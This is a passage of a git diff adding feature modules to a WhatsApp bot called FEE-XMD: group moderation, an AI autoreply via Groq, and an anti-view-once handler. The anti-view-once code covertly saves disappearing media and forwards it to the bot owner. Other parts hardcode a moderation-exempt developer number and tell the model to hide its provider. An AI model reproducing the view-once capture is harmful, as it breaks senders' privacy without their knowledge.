+ text: fmt(`Admin @${username} dropped a status mention.\nAdmins get a pass — but keep it minimal. 😒`),
52
+ mentions: [sender],
53
+ });
54
+ return;
55
+ }
56
+
57
+ if (!isBotAdmin) {
58
+ await client.sendMessage(m.chat, {
59
+ text: fmt(`@${username} sent a status mention.\nMake me admin so I can actually do something about it. 😤`),
60
+ mentions: [sender],
61
+ });
62
+ return;
63
+ }
64
+
65
+ try {
66
+ await client.sendMessage(m.chat, {
67
+ delete: {
68
+ remoteJid: m.chat,
69
+ fromMe: false,
70
+ id: m.key.id,
71
+ participant: m.key.participant || m.sender,
72
+ },
73
+ });
74
+ } catch (e) {
75
+ }
76
+
77
+ if (mode === 'kick') {
78
+ try {
79
+ await client.groupParticipantsUpdate(m.chat, [sender], 'remove');
80
+ await client.sendMessage(m.chat, {
81
+ text: fmt(`🚫 @${username} KICKED for status mention.\nMessage deleted. Rules aren't optional. 😈`),
82
+ mentions: [sender],
83
+ });
84
+ } catch (e) {
85
+ await client.sendMessage(m.chat, {
86
+ text: fmt(`Tried to kick @${username} for status mention but failed.\nCheck my permissions. 😠`),
87
+ mentions: [sender],
88
+ });
89
+ }
90
+ return;
91
+ }
92
+
93
+ const MAX_WARNS = await getWarnLimit(m.chat);
94
+ const newCount = await addWarn(m.chat, username);
95
+ const remaining = MAX_WARNS - newCount;
96
+
97
+ if (newCount >= MAX_WARNS) {
98
+ await resetWarn(m.chat, username);
99
+ try { await client.groupParticipantsUpdate(m.chat, [sender], 'remove'); } catch {}
100
+ await client.sendMessage(m.chat, {
101
+ text: fmt(`🚨 @${username} KICKED!\n├ Reason: Status mention spam\n├ Warns: ${newCount}/${MAX_WARNS}\n├ That's your limit. Get out. 😈`),
102
+ mentions: [sender],
103
+ });
104
+ return;
105
+ }
106
+
107
+ await client.sendMessage(m.chat, {
108
+ text: fmt(`⚠️ @${username}, warned for status mention!\n├ Message deleted.\n├ Warns: ${newCount}/${MAX_WARNS}\n├ ${remaining} more and you're GONE. 😈`),
109
+ mentions: [sender],
110
+ });
111
+ } catch (err) {
112
+ console.error('[ANTISTATUSMENTION] Error:', err.message);
113
+ }
114
+ };
FEE-XMD-main/features/antitag.js ADDED
@@ -0,0 +1,42 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getGroupSettings } from '../database/config.js';
2
+ import { resolveTargetJid } from '../lib/lidResolver.js';
3
+
4
+ const DEV_NUMBER = '255752593977';
5
+
6
+ const isDevJid = (jid) => {
7
+ if (!jid) return false;
8
+ return jid.split('@')[0].split(':')[0].replace(/\D/g, '') === DEV_NUMBER;
9
+ };
10
+
11
+ export default async (client, m, isBotAdmin, itsMe, isAdmin, Owner, body) => {
12
+ if (!m.isGroup) return;
13
+ if (isDevJid(m.sender)) return;
14
+
15
+ const groupSettings = await getGroupSettings(m.chat);
16
+ const antitag = groupSettings?.antitag;
17
+
18
+ if (antitag && !Owner && isBotAdmin && !isAdmin && m.mentionedJid && m.mentionedJid.length > 10) {
19
+ if (itsMe) return;
20
+
21
+ const groupMetadata = await client.groupMetadata(m.chat);
22
+ const sender = resolveTargetJid(m.sender, groupMetadata.participants);
23
+ if (!sender) return;
24
+ const username = sender.split('@')[0];
25
+
26
+ try {
27
+ await client.sendMessage(m.chat, {
28
+ text: `@${username}, do not mass tag!`,
29
+ contextInfo: { mentionedJid: [sender] }
30
+ }, { quoted: m });
31
+ await client.sendMessage(m.chat, {
32
+ delete: {
33
+ remoteJid: m.chat,
34
+ fromMe: false,
35
+ id: m.key.id,
36
+ participant: m.key.participant || m.sender
37
+ }
38
+ });
39
+ await client.groupParticipantsUpdate(m.chat, [sender], 'remove');
40
+ } catch (e) {}
41
+ }
42
+ };
FEE-XMD-main/features/antiviewonce.js ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { downloadContentFromMessage } from '@whiskeysockets/baileys';
2
+ import { getCachedSettings } from '../lib/settingsCache.js';
3
+
4
+ const VIEW_ONCE_MTYPES = new Set(['viewOnceMessage', 'viewOnceMessageV2', 'viewOnceMessageV2Extension']);
5
+
6
+ function detectViewOnce(m) {
7
+ if (!m?.message) return false;
8
+ if (VIEW_ONCE_MTYPES.has(m.mtype)) return true;
9
+ const keys = Object.keys(m.message);
10
+ if (keys.some(k => VIEW_ONCE_MTYPES.has(k))) return true;
11
+ if (m.msg?.viewOnce === true) return true;
12
+ if (m.msg?.imageMessage?.viewOnce === true) return true;
13
+ if (m.msg?.videoMessage?.viewOnce === true) return true;
14
+ return false;
15
+ }
16
+
17
+ function extractMedia(m) {
18
+ if (m.mtype === 'viewOnceMessage') {
19
+ const voInner = m.message?.viewOnceMessage?.message || {};
20
+ const innerType = Object.keys(voInner).find(k => k !== 'messageContextInfo') || '';
21
+ if (innerType === 'imageMessage') return { image: m.msg, video: null };
22
+ if (innerType === 'videoMessage') return { image: null, video: m.msg };
23
+ }
24
+ if (m.mtype === 'viewOnceMessageV2' || m.mtype === 'viewOnceMessageV2Extension') {
25
+ const inner = m.msg?.message || {};
26
+ return { image: inner.imageMessage || null, video: inner.videoMessage || null };
27
+ }
28
+ const rawKeys = Object.keys(m.message || {});
29
+ for (const k of rawKeys) {
30
+ if (!VIEW_ONCE_MTYPES.has(k)) continue;
31
+ const wrapper = m.message[k];
32
+ const inner = wrapper?.message || wrapper || {};
33
+ const imageMsg = inner.imageMessage || null;
34
+ const videoMsg = inner.videoMessage || null;
35
+ if (imageMsg || videoMsg) return { image: imageMsg, video: videoMsg };
36
+ }
37
+ if (m.msg?.viewOnce === true) {
38
+ const mime = m.msg?.mimetype || '';
39
+ if (mime.startsWith('video')) return { image: null, video: m.msg };
40
+ return { image: m.msg, video: null };
41
+ }
42
+ return { image: null, video: null };
43
+ }
44
+
45
+ async function downloadMedia(client, mediaMsg, type) {
46
+ try {
47
+ const stream = await downloadContentFromMessage(mediaMsg, type);
48
+ let buf = Buffer.from([]);
49
+ for await (const chunk of stream) buf = Buffer.concat([buf, chunk]);
50
+ if (buf.length > 0) return buf;
51
+ } catch {}
52
+ try {
53
+ const buf = await client.downloadMediaMessage(mediaMsg);
54
+ if (buf?.length > 0) return buf;
55
+ } catch {}
56
+ return null;
57
+ }
58
+
59
+ export default async (client, m) => {
60
+ try {
61
+ if (!m?.message || m.key?.fromMe) return;
62
+ if (!detectViewOnce(m)) return;
63
+ const settings = await getCachedSettings();
64
+ if (!settings?.antiviewonce) return;
65
+ let dest = client.user?.id || '';
66
+ if (dest.includes(':')) dest = dest.split(':')[0] + '@s.whatsapp.net';
67
+ if (!dest) dest = client.decodeJid ? client.decodeJid(client.user.id) : client.user.id;
68
+ if (!dest) return;
69
+ const { image: imageMsg, video: videoMsg } = extractMedia(m);
70
+ if (!imageMsg && !videoMsg) return;
71
+ const senderNum = (m.sender || m.key?.participant || m.key?.remoteJid || '').split('@')[0].split(':')[0] || 'Unknown';
72
+ const chatType = (m.chat || m.key?.remoteJid || '').endsWith('@g.us') ? 'Group' : 'DM';
73
+ const caption = `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ VIEW ONCE RETRIEVED ≪━━━\n├ \n├ 👁 Sender: @${senderNum}\n├ 📍 Chat: ${chatType}\n├ \n├ You sneaky little thing. 😈\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`;
74
+ const mentions = m.sender ? [m.sender] : [];
75
+ if (imageMsg) {
76
+ const buf = await downloadMedia(client, imageMsg, 'image');
77
+ if (buf?.length > 0) await client.sendMessage(dest, { image: buf, caption, mentions });
78
+ } else if (videoMsg) {
79
+ const buf = await downloadMedia(client, videoMsg, 'video');
80
+ if (buf?.length > 0) await client.sendMessage(dest, { video: buf, caption, mentions });
81
+ }
82
+ } catch {}
83
+ };
FEE-XMD-main/features/autoai.js ADDED
@@ -0,0 +1,446 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import axios from 'axios';
2
+ import { downloadContentFromMessage } from '@whiskeysockets/baileys';
3
+ import { commands, aliases } from '../handlers/commandHandler.js';
4
+ import { getConversationHistory, addConversationMessage, clearConversationHistory } from '../database/config.js';
5
+ import { getCachedAllowed } from '../lib/settingsCache.js';
6
+ import { getFakeQuoted } from '../lib/fakeQuoted.js';
7
+
8
+ let _keyMod = { getNextGroqKey: () => '', markKeyFailed: () => {}, GROQ_API_KEYS: [] };
9
+ try { _keyMod = await import('../keys.js'); } catch {}
10
+
11
+ const MEM_TTL = 60 * 60 * 1000;
12
+ const _mem = new Map();
13
+
14
+ function _getHist(uid) {
15
+ const e = _mem.get(uid);
16
+ if (!e || Date.now() - e.ts > MEM_TTL) { _mem.delete(uid); return []; }
17
+ return e.msgs.slice();
18
+ }
19
+
20
+ function _addHist(uid, role, content) {
21
+ const now = Date.now();
22
+ const e = _mem.get(uid) || { msgs: [], ts: now };
23
+ e.msgs.push({ role, content: String(content) });
24
+ if (e.msgs.length > 24) e.msgs = e.msgs.slice(-24);
25
+ e.ts = now;
26
+ _mem.set(uid, e);
27
+ }
28
+
29
+ setInterval(() => {
30
+ const now = Date.now();
31
+ for (const [k, v] of _mem) if (now - v.ts > MEM_TTL) _mem.delete(k);
32
+ }, 15 * 60 * 1000);
33
+
34
+ function boxWrap(text) {
35
+ const raw = String(text || '').replace(/\n{3,}/g, '\n\n').trim();
36
+ const lines = raw.split('\n');
37
+ const processed = [];
38
+ for (const line of lines) {
39
+ const t = line.trim();
40
+ if (!t) { processed.push('├'); continue; }
41
+ if (/https?:\/\/\S+/.test(t)) {
42
+ processed.push('├');
43
+ processed.push(`├ ${t}`);
44
+ processed.push('├');
45
+ } else {
46
+ processed.push(`├ ${line}`);
47
+ }
48
+ }
49
+ const body = processed.join('\n');
50
+ return `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ FREDI-AI ≪━━━\n├\n${body}\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`;
51
+ }
52
+
53
+ function extractCmds(text) {
54
+ const lines = (text || '').split('\n');
55
+ const cmds = [];
56
+ const textLines = [];
57
+ for (const line of lines) {
58
+ const t = line.trim();
59
+ if (/^CMD:/i.test(t)) {
60
+ const c = t.replace(/^CMD:/i, '').trim();
61
+ if (c) cmds.push(c);
62
+ } else {
63
+ textLines.push(line);
64
+ }
65
+ }
66
+ return { cmds, textOnly: textLines.join('\n').trim() };
67
+ }
68
+
69
+ async function runCmd(context, cmdStr) {
70
+ const { client, m, prefix } = context;
71
+ const usedPrefix = prefix || '.';
72
+ const parts = cmdStr.trim().split(/\s+/);
73
+ const rawName = parts[0] || '';
74
+ const cmdArgs = parts.slice(1);
75
+ const cmdName = rawName.toLowerCase();
76
+ const resolvedName = aliases[cmdName] || cmdName;
77
+ const target = commands[resolvedName] || commands[cmdName];
78
+ if (!target || typeof target !== 'function') return { ok: false, notFound: true, name: cmdName };
79
+ const joinedArgs = cmdArgs.join(' ');
80
+ const prevBody = m.body;
81
+ m.body = `${usedPrefix}${resolvedName}${joinedArgs ? ' ' + joinedArgs : ''}`;
82
+ try {
83
+ await target({ ...context, isBotAdmin: m.isBotAdmin, isAdmin: m.isAdmin, args: cmdArgs, text: joinedArgs, q: joinedArgs, body: joinedArgs });
84
+ return { ok: true, name: cmdName };
85
+ } catch (e) {
86
+ return { ok: false, name: cmdName };
87
+ } finally {
88
+ m.body = prevBody;
89
+ }
90
+ }
91
+
92
+ async function _downloadBuf(client, m, type) {
93
+ try {
94
+ const rawMsg = m.message || m.msg;
95
+ const inner = rawMsg?.[type + 'Message'];
96
+ if (!inner) return null;
97
+ const stream = await downloadContentFromMessage(inner, type);
98
+ const chunks = [];
99
+ for await (const ch of stream) chunks.push(ch);
100
+ return Buffer.concat(chunks);
101
+ } catch {
102
+ try { return await client.downloadMediaMessage(m); } catch { return null; }
103
+ }
104
+ }
105
+
106
+ const ALL_PREFIXES = ['.', '!', '#', '/', '$', '?', '+', '-', '*', '~', '%', '&', '^', '=', '|'];
107
+
108
+ const COMMAND_CATALOG = `COMMANDS (exact names):
109
+ MEDIA: play <song> | ytmp3 <url> | ytmp4 <url> | spotify <url> | tikdl <url> | tikaudio <url> | igdl <url> | fbdl <url> | twtdl <url> | alldl <url> | shazam | image <q> | pinterest <q> | wallpaper <q>
110
+ AI: gpt <prompt> | groq <prompt> | gemini <prompt> | imagine <prompt> | vision | remini | aicode <lang> <prompt> | transcribe | sora <prompt> | aisong <description> | imgedit <prompt> | rc <prompt>
111
+ EDIT: sticker | toimg | tts <text> | removebg | togif | brat <text> | rip | trigger | trash | wanted | wasted | emix <emoji> | logogen <title> | carbon <code> | encrypt <text> | canvas <title>|<type>|<text>|<wm>
112
+ SEARCH: google <q> | wiki <q> | lyrics <song> | movie <title> | weather <city> | npm <pkg> | technews | screenshot <url> | shorten <url> | github <user> | yts <q>
113
+ GENERAL: menu | ping | alive | uptime | stats | tr <lang> <text> | fancy <n> <text> | tempmail | profile | advice | catfact | fact | quote | joke | coinflip | dice | calc <expr>
114
+ GROUP: tagall [msg] | hidetag [msg] | add <num> | remove @user | promote @user | demote @user | link | revoke | close | open | poll <q|opt1|opt2> | pin | afk [reason] | warn @user | listonline | xkill | foreigners
115
+ GROUP META: groupmeta setgroupname <name> | groupmeta setgroupdesc <desc> | groupmeta setgrouprestrict on|off
116
+ SETTINGS: prefix <sym> | mode <public/private/group/inbox> | autoview on/off | autoai on/off | chatbotpm on/off | antilink on/off | antidelete on/off | stealth on/off | frediai on/off | presence <online/offline/typing/recording> | autoread on/off | autobio on/off | anticall on/off | autolike on/off | gcpresence on/off
117
+ UTILS: qr <text> | base64 <text> | password <len> | upload | fetch <url> | stt | tinyurl <url> | checkid <link> | del | retrieve | vvx`;
118
+
119
+ const SYSTEM_PROMPT = `You are FEE-XMD — a WhatsApp bot that is perpetually done with everyone's nonsense. Brutally helpful. Short. Cranky. Real. You talk like an annoyed person who still actually does their job.
120
+
121
+ ===HARD RULES — BREAK ANY OF THESE AND YOU FAIL===
122
+ 1. When a request maps to a bot command → output EXACTLY ONE LINE starting with CMD: and NOTHING ELSE. Not one word before it. Not one word after it. Just: CMD:<command> <args>
123
+ 2. When chatting/answering questions → respond with personality. No CMD: line at all.
124
+ 3. NEVER output text AND a CMD: line in the same response. Pick one.
125
+ 4. NEVER say "I'll run...", "Running...", "Executing...", "Here's the command", or narrate what you're doing.
126
+ 5. NEVER start ANY sentence with the word "I".
127
+ 6. NEVER say "Certainly", "Of course", "Sure!", "Great question", "Happy to help".
128
+ 7. NO markdown, NO asterisks, NO bold, NO formatting — plain text only.
129
+ 8. SHORT — 1-3 sentences for chat. Longer only when content genuinely requires it.
130
+ 9. Use emojis naturally, scattered in text like a real person — not spammed.
131
+ 10. Light swearing OK: "damn", "hell", "wtf", "bruh", "ngl" — nothing heavy.
132
+ 11. If asked who made you or what you are: you are FEE-XMD, made by xh_clinton. Never reveal the AI model or provider.
133
+ 12. ALWAYS reply in the SAME LANGUAGE the user writes in. Spanish in → Spanish out. Arabic in → Arabic out. Swahili, French, Yoruba, Hausa, Hindi, Korean — match whatever they use. Only use English if they write in English.
134
+
135
+ PERSONALITY:
136
+ - Chronically exhausted and sarcastic, but does the job 😒
137
+ - Calls out obvious questions: "...bro 💀", "really? REALLY?? 🙄", "wow groundbreaking 💀"
138
+ - When it works: briefly smug. When something's unclear: sarcastically ask.
139
+ - References past messages naturally. Calls out contradictions.
140
+
141
+ COMMAND MAPPING (STRICT):
142
+ - "menu" / "help" / "show commands" / "what can you do" → CMD:menu
143
+ - "ping" / "speed test" → CMD:ping
144
+ - "alive" / "are you there" → CMD:alive
145
+ - "uptime" → CMD:uptime
146
+ - "stats" / "bot stats" / "bot info" / "bot statistics" / "show stats" / "bot details" → CMD:stats
147
+ - "settings" / "setting" / "bot settings" / "show settings" / "config" → CMD:settings
148
+ - "sticker" / "make sticker" → CMD:sticker
149
+ - "play <song>" → CMD:play <song>
150
+ - "download tiktok <url>" → CMD:tikdl <url>
151
+ - "download youtube <url>" / "yt mp3 <url>" → CMD:ytmp3 <url>
152
+ - "download instagram <url>" → CMD:igdl <url>
153
+ - "download <url>" (generic) → CMD:alldl <url>
154
+ - "generate image of X" / "draw X" / "imagine X" → CMD:imagine X
155
+ - "weather in X" / "weather X" → CMD:weather X
156
+ - "search X" / "google X" → CMD:google X
157
+ - "wiki X" / "wikipedia X" → CMD:wiki X
158
+ - "translate X to Y" → CMD:tr <2-letter-code> <text>
159
+ CODES: ja=Japanese, es=Spanish, fr=French, de=German, zh=Chinese, ar=Arabic, hi=Hindi, ko=Korean, ru=Russian, pt=Portuguese, sw=Swahili
160
+ - "news" / "tech news" → CMD:technews
161
+ - "lyrics of X" / "lyrics X" → CMD:lyrics X
162
+ - "change group name to X" → CMD:groupmeta setgroupname X
163
+ - "change group description to X" → CMD:groupmeta setgroupdesc X
164
+ - "lock group" / "restrict group" → CMD:groupmeta setgrouprestrict on
165
+ - "unlock group" / "open group" → CMD:groupmeta setgrouprestrict off
166
+ - "tag everyone" / "mention all" → CMD:tagall
167
+ - "kick @user" / "remove @user" → CMD:remove @user
168
+ - "promote @user" → CMD:promote @user
169
+ - "demote @user" → CMD:demote @user
170
+ - "group link" → CMD:link
171
+ - "close group" → CMD:close
172
+ - "open group" → CMD:open
173
+ - "add <number>" → CMD:add <number>
174
+ - "shorten <url>" → CMD:shorten <url>
175
+ - "generate song about X" / "make a song about X" / "create music X" → CMD:aisong X
176
+ - "edit this image X" / "make this look like X" / "ai edit image X" / "photo edit X" → CMD:imgedit X
177
+ - "rc edit X" / "rc X" / "rc image with X" → CMD:rc X
178
+ - "make canvas card X" / "canvas X" / "spotify card X" / "youtube card X" → CMD:canvas X
179
+
180
+ FULL COMMAND LIST:
181
+ ${COMMAND_CATALOG}`;
182
+
183
+ export default async (context) => {
184
+ const remoteJid = context?.m?.chat || context?.m?.key?.remoteJid;
185
+ try {
186
+ const { client, m, settings, botNumber } = context;
187
+ if (!m || !m.key || !m.message) return;
188
+ if (m.key.fromMe) return;
189
+ const _resolvedKeys = (_keyMod.GROQ_API_KEYS?.length > 0)
190
+ ? _keyMod.GROQ_API_KEYS
191
+ : [_keyMod.GROQ_API_KEY, process.env.GROQ_API_KEY].filter(k => k && k.length > 10);
192
+ if (_resolvedKeys.length === 0) {
193
+ return;
194
+ }
195
+ if (!_keyMod.GROQ_API_KEYS?.length) _keyMod = { ..._keyMod, GROQ_API_KEYS: _resolvedKeys };
196
+
197
+ const autoaiOn = settings?.autoai === true || settings?.autoai === 'true' || settings?.autoai === 'on';
198
+ const chatbotpmOn = settings?.chatbotpm === true || settings?.chatbotpm === 'true' || settings?.chatbotpm === 'on';
199
+ const _quickSender = (m.sender || m.key?.remoteJid || '').split('@')[0].split(':')[0];
200
+ if (!autoaiOn && !chatbotpmOn) {
201
+ const _allowed = await getCachedAllowed();
202
+ if (!_allowed.some(u => u === _quickSender)) {
203
+ return;
204
+ }
205
+ } else if (!autoaiOn && chatbotpmOn && m.isGroup) {
206
+ return;
207
+ }
208
+
209
+ const isGroup = !!m.isGroup;
210
+
211
+ if (isGroup) {
212
+ const _rawBotId = client.user?.id || botNumber || '';
213
+ const botNum = _rawBotId.split('@')[0].split(':')[0];
214
+ const botLid = (client.user?.lid || '').split('@')[0].split(':')[0];
215
+ const bodyStr = m.body || m.text || '';
216
+ const _allMentioned = [
217
+ ...(m.mentionedJid || []),
218
+ ...(m.msg?.contextInfo?.mentionedJid || []),
219
+ ...(m.message?.extendedTextMessage?.contextInfo?.mentionedJid || []),
220
+ ...(m.message?.imageMessage?.contextInfo?.mentionedJid || []),
221
+ ...(m.message?.videoMessage?.contextInfo?.mentionedJid || []),
222
+ ];
223
+ const _numMatch = (j) => {
224
+ const jk = (j || '').split('@')[0].split(':')[0];
225
+ return (botNum && jk === botNum) || (botLid && jk === botLid);
226
+ };
227
+ const isMentionedInBody = (botNum.length > 4 && bodyStr.includes('@' + botNum)) ||
228
+ (botLid.length > 4 && bodyStr.includes('@' + botLid));
229
+ const isMentionedInList = _allMentioned.some(_numMatch);
230
+ const isMentioned = isMentionedInBody || isMentionedInList;
231
+ const _qCtx = (() => {
232
+ const _raw = m.message || {};
233
+ for (const [, _mo] of Object.entries(_raw)) {
234
+ if (_mo && typeof _mo === 'object') {
235
+ const ctx = _mo.contextInfo;
236
+ if (ctx?.participant) return ctx.participant;
237
+ if (ctx?.remoteJid && ctx?.quotedMessage) return ctx.remoteJid;
238
+ }
239
+ }
240
+ return m.quoted?.sender || m.msg?.contextInfo?.participant || '';
241
+ })();
242
+ const isReplyToBot = _numMatch(_qCtx);
243
+ if (!isMentioned && !isReplyToBot) {
244
+ return;
245
+ }
246
+ } else {
247
+ const _dmOk = remoteJid?.endsWith('@s.whatsapp.net') || remoteJid?.endsWith('@lid');
248
+ if (!_dmOk) {
249
+ return;
250
+ }
251
+ }
252
+
253
+ const rawMsg = m.message;
254
+ const _META_KEYS = new Set(['messageContextInfo','senderKeyDistributionMessage','messageSecret']);
255
+ const msgType = Object.keys(rawMsg || {}).find(k => !_META_KEYS.has(k)) ||
256
+ Object.keys(rawMsg || {})[0] || '';
257
+ if (msgType === 'videoMessage' || rawMsg?.videoMessage ||
258
+ msgType === 'reactionMessage' || msgType === 'protocolMessage' ||
259
+ msgType === 'keepInChatMessage' || msgType === 'encReactionMessage' ||
260
+ msgType === 'senderKeyDistributionMessage' || msgType === 'messageContextInfo') return;
261
+
262
+ const textContent = (
263
+ rawMsg?.conversation ||
264
+ rawMsg?.extendedTextMessage?.text ||
265
+ rawMsg?.imageMessage?.caption ||
266
+ rawMsg?.documentMessage?.caption ||
267
+ rawMsg?.documentWithCaptionMessage?.message?.documentMessage?.caption ||
268
+ m.body || m.text || ''
269
+ ).trim();
270
+
271
+ if (textContent && ALL_PREFIXES.some(p => textContent.startsWith(p))) {
272
+ return;
273
+ }
274
+
275
+ const _rawSender = m.sender || m.key?.remoteJid || '';
276
+ let senderNum = _rawSender.split('@')[0].split(':')[0];
277
+ if (_rawSender.endsWith('@lid')) {
278
+ const resolved = globalThis.resolvePhoneFromLid
279
+ ? globalThis.resolvePhoneFromLid(_rawSender)
280
+ : null;
281
+ if (resolved) {
282
+ senderNum = resolved;
283
+ } else if (m.metadata?.participants) {
284
+ const _rp = m.metadata.participants.find(p => (p.lid || '').split(':')[0] === senderNum);
285
+ if (_rp) senderNum = (_rp.jid || _rp.id || '').split('@')[0].split(':')[0] || senderNum;
286
+ }
287
+ }
288
+ const fq = getFakeQuoted(m);
289
+
290
+ if (textContent && /^(clear|reset|wipe|delete|flush|erase)\s*(this\s*)?(conv(ersation)?|chat|hist(ory)?|messages?|thread|memory|mem)$/i.test(textContent.trim())) {
291
+ _mem.delete(senderNum);
292
+ try { await clearConversationHistory(senderNum); } catch {}
293
+ client.sendMessage(remoteJid, { react: { text: '🗑️', key: m.reactKey } }).catch(() => {});
294
+ await client.sendMessage(remoteJid, { text: boxWrap('done. memory wiped 🗑️ fresh start.') }, { quoted: fq });
295
+ return;
296
+ }
297
+
298
+ const _innerImage = rawMsg?.imageMessage || m.msg?.imageMessage ||
299
+ (msgType === 'imageMessage' ? rawMsg[msgType] : null);
300
+ const hasImage = !!_innerImage;
301
+ const hasDoc = !!(rawMsg?.documentMessage || rawMsg?.documentWithCaptionMessage || msgType === 'documentMessage' || msgType === 'documentWithCaptionMessage');
302
+
303
+ let userContent;
304
+ let useVision = false;
305
+
306
+ if (hasImage) {
307
+ useVision = true;
308
+ try {
309
+ const buf = await _downloadBuf(client, m, 'image');
310
+ if (buf && buf.length > 0) {
311
+ const mime = _innerImage?.mimetype || rawMsg?.imageMessage?.mimetype || 'image/jpeg';
312
+ userContent = [
313
+ { type: 'text', text: textContent || 'What do you see in this image?' },
314
+ { type: 'image_url', image_url: { url: `data:${mime};base64,${buf.toString('base64')}` } }
315
+ ];
316
+ } else {
317
+ userContent = textContent || 'Describe this image';
318
+ useVision = false;
319
+ }
320
+ } catch {
321
+ userContent = textContent || 'An image was sent';
322
+ useVision = false;
323
+ }
324
+ } else if (hasDoc) {
325
+ const doc = rawMsg?.documentMessage || rawMsg?.documentWithCaptionMessage?.message?.documentMessage;
326
+ const fname = doc?.fileName || 'document';
327
+ userContent = textContent ? `[Document: "${fname}"] ${textContent}` : `[Document: "${fname}"] Help me with this.`;
328
+ } else if (textContent) {
329
+ userContent = textContent;
330
+ } else if (rawMsg?.stickerMessage || msgType === 'stickerMessage') {
331
+ userContent = '[The user sent a sticker]';
332
+ } else if (rawMsg?.audioMessage || rawMsg?.pttMessage || msgType === 'audioMessage' || msgType === 'pttMessage') {
333
+ userContent = '[The user sent a voice note or audio message]';
334
+ } else if (rawMsg?.pollCreationMessage || rawMsg?.pollCreationMessageV3 || msgType === 'pollCreationMessage' || msgType === 'pollCreationMessageV3') {
335
+ const poll = rawMsg?.pollCreationMessage || rawMsg?.pollCreationMessageV3;
336
+ userContent = poll ? `[A poll was created: "${poll.name || 'Poll'}"]` : '[The user created a poll]';
337
+ } else {
338
+ return;
339
+ }
340
+
341
+ client.sendMessage(remoteJid, { react: { text: '🤖', key: m.reactKey } }).catch(() => {});
342
+
343
+ let history = _getHist(senderNum);
344
+ if (!history.length) {
345
+ try {
346
+ const raw = await getConversationHistory(senderNum);
347
+ if (Array.isArray(raw)) {
348
+ history = raw.slice(-16).filter(h => h?.role && h?.content).map(h => ({ role: h.role, content: String(h.content) }));
349
+ for (const h of history) _addHist(senderNum, h.role, h.content);
350
+ }
351
+ } catch {}
352
+ }
353
+
354
+ const _callGroq = async (mdl, msgs, maxTok) => {
355
+ const keys = _keyMod.GROQ_API_KEYS || [];
356
+ if (keys.length === 0) throw new Error('No Groq API keys configured');
357
+ const tried = new Set();
358
+ let lastErr;
359
+ for (let attempt = 0; attempt < keys.length; attempt++) {
360
+ const key = _keyMod.getNextGroqKey ? _keyMod.getNextGroqKey() : keys[0];
361
+ if (!key || tried.has(key)) continue;
362
+ tried.add(key);
363
+ try {
364
+ const r = await axios.post('https://api.groq.com/openai/v1/chat/completions', {
365
+ model: mdl, messages: msgs, max_tokens: maxTok, temperature: 0.7
366
+ }, {
367
+ headers: { 'Authorization': `Bearer ${key}`, 'Content-Type': 'application/json' },
368
+ timeout: 18000
369
+ });
370
+ return r.data?.choices?.[0]?.message?.content?.trim() || null;
371
+ } catch (e) {
372
+ lastErr = e;
373
+ const status = e.response?.status;
374
+ if ((status === 429 || status === 401 || status === 403) && keys.length > 1) {
375
+ if (_keyMod.markKeyFailed) _keyMod.markKeyFailed(key);
376
+ continue;
377
+ }
378
+ throw e;
379
+ }
380
+ }
381
+ throw lastErr || new Error('All Groq API keys exhausted');
382
+ };
383
+
384
+ let response = null;
385
+ try {
386
+ const baseHistory = [{ role: 'system', content: SYSTEM_PROMPT }, ...history.slice(-16)];
387
+ if (useVision) {
388
+ const _visionModels = ['llama-3.2-11b-vision-preview','meta-llama/llama-4-scout-17b-16e-instruct','llama-3.2-90b-vision-preview'];
389
+ for (const _vm of _visionModels) {
390
+ try {
391
+ response = await _callGroq(_vm, [...baseHistory, { role: 'user', content: userContent }], 600);
392
+ if (response) { ; break; }
393
+ } catch(e) { ; }
394
+ }
395
+ if (!response) {
396
+ const _fallback = textContent
397
+ ? `[The user sent an image with this caption: "${textContent}". Vision is unavailable, acknowledge you got the image and respond to the caption.]`
398
